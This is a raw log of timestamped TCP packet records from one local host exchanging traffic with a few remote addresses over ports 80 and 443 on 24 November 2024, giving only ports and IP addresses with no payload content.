Nov 24, 2024 00:06:25.262800932 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.262842894 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.262875080 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.262883902 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.262912035 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.262953043 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.266916037 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.266957045 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.266988993 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.266994953 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.267007113 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.267047882 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.267047882 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.270718098 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.270735979 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.270862103 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.270872116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.270952940 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.278789997 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.278805971 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.278894901 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.278894901 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.278906107 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.278970957 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.285703897 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.285718918 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.285871029 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.285881996 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.285993099 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.291698933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.291726112 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.291798115 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.291805983 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.291836977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.291867971 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.298991919 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.299012899 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.299096107 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.299103022 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.299149990 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.305639982 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.305670977 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.305721998 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.305732965 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.305824041 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.305824041 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.307028055 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.307050943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.307142973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.307149887 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.307236910 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.307333946 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.313839912 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.313855886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.313929081 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.313940048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.313999891 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.315185070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.315213919 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.315274954 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.315284014 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.315296888 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.315391064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.321034908 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.321055889 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.321139097 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.321150064 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.321171045 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.321213961 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.322212934 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.322235107 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.322312117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.322320938 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.322371960 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.322424889 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.324045897 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.329037905 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.329058886 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.329499006 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.329518080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.329596043 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.329607010 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.329767942 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.329773903 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.329855919 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.330290079 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.330315113 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.330348015 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.330354929 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.330391884 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.330457926 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.337156057 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.337177038 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.337220907 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.337230921 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.337277889 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.337894917 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.337924957 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.337985992 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.337991953 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.338033915 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.338179111 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.339426041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.339442968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.344635963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.344702005 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.344764948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.344898939 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.344950914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.344975948 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.344981909 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.345007896 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.345029116 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.345036030 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.345118046 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.345118999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.345170021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.345221996 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.345263958 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.345508099 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.345525026 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.345577002 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.345586061 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.345753908 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.346146107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.346230030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.346304893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.347004890 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.347059011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.347296000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.347333908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.347412109 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.347824097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.347892046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.347963095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.348773003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.348844051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.348858118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.348921061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.349608898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.349703074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.349718094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.349802017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.350539923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.350651026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.350657940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.350711107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.351471901 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.351536989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.351557970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.351675987 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.352381945 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.352483988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.352543116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.353286982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.353387117 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.353398085 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.353447914 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.353791952 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.353815079 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.353864908 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.353873968 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.353904963 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.353931904 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.354202986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.354279041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.354311943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.354406118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.355109930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.355211973 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.355226040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.355287075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.356043100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.356105089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.356118917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.356168985 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.356969118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.357062101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.357070923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.357125998 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.357867956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.357913017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.357953072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.357953072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.358789921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.358885050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.358896971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.359108925 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.359767914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.359818935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.359889030 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.360663891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.360711098 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.360718012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.360770941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.361030102 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.361046076 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.361100912 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.361112118 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.361150980 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.361150980 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.361567974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.361644983 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.361675024 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.361792088 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.362492085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.362549067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.362582922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.362648010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.362983942 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.363003016 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.363060951 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.363070011 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.363151073 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.363151073 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.363408089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.363480091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.363507986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.363617897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.364295959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.364345074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.364387035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.364387035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.365223885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.365442038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.371619940 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.371638060 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.371704102 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.371722937 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.371861935 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.379100084 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.379116058 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.379163027 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.379180908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.379230022 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.379230022 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.385036945 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.385045052 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.387695074 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.387711048 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.387793064 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.387804985 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.387856007 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.396353006 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.396368980 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.396433115 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.396442890 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.396473885 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.396486998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.404366016 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.404386997 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.404484034 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.404490948 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.404751062 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.413031101 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.413053036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.413139105 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.413146019 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.413299084 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.420547962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.420563936 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.420613050 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.420619011 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.420680046 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.450440884 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.450459957 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.450551987 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.450562000 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.450611115 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.454931021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.454941034 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.455013990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.455307961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.455362082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.455440044 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.456163883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.456244946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.456254005 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.456324100 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.456964970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.457096100 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.457207918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.457256079 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.457331896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.457345963 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.457407951 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.457415104 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.457446098 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.457446098 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.457791090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.457880020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.458134890 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.458245039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.458650112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.458657980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.458723068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.459427118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.459527969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.459542990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.459784985 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.460268021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.460484982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.460656881 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.460732937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.461100101 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.461184978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.461302042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.461373091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.461905956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.461980104 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.462239027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.462641954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.462821960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.462829113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.462939024 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.463586092 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.463681936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.463692904 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.463737011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.464386940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.464412928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.464466095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.465236902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.465275049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.465328932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.465328932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.465416908 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.465430975 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.465507984 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.465514898 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.465590954 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.466047049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.466094971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.466236115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.466439009 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.466905117 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.466953039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.466999054 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.467742920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.467788935 CET	80	49720	185.215.113.206	192.168.2.6
